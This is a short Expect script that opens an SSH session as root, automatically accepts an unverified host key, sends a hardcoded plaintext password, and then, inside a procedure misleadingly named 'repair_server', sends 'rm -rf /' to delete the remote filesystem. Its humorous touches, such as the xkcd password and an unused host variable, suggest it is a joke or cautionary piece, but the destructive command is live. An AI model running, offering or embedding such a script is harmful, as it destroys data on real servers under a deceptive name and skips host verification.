set timeout 10
set user       root
set host       someserver
set password   "correct horse battery staple"

proc repair_server _ {
  expect #  ;# lazy prompt matching
  send "rm -rf / \r"
}

proc approve _ {
  send "yes\r"
}

spawn ssh office

while 1 {
  expect {
    eof                          break
    timeout                      exit
    "The authenticity of host"   approve
    assword:                     {send "$password\r"}
    $PROMPT                      repair_server
  }
}

wait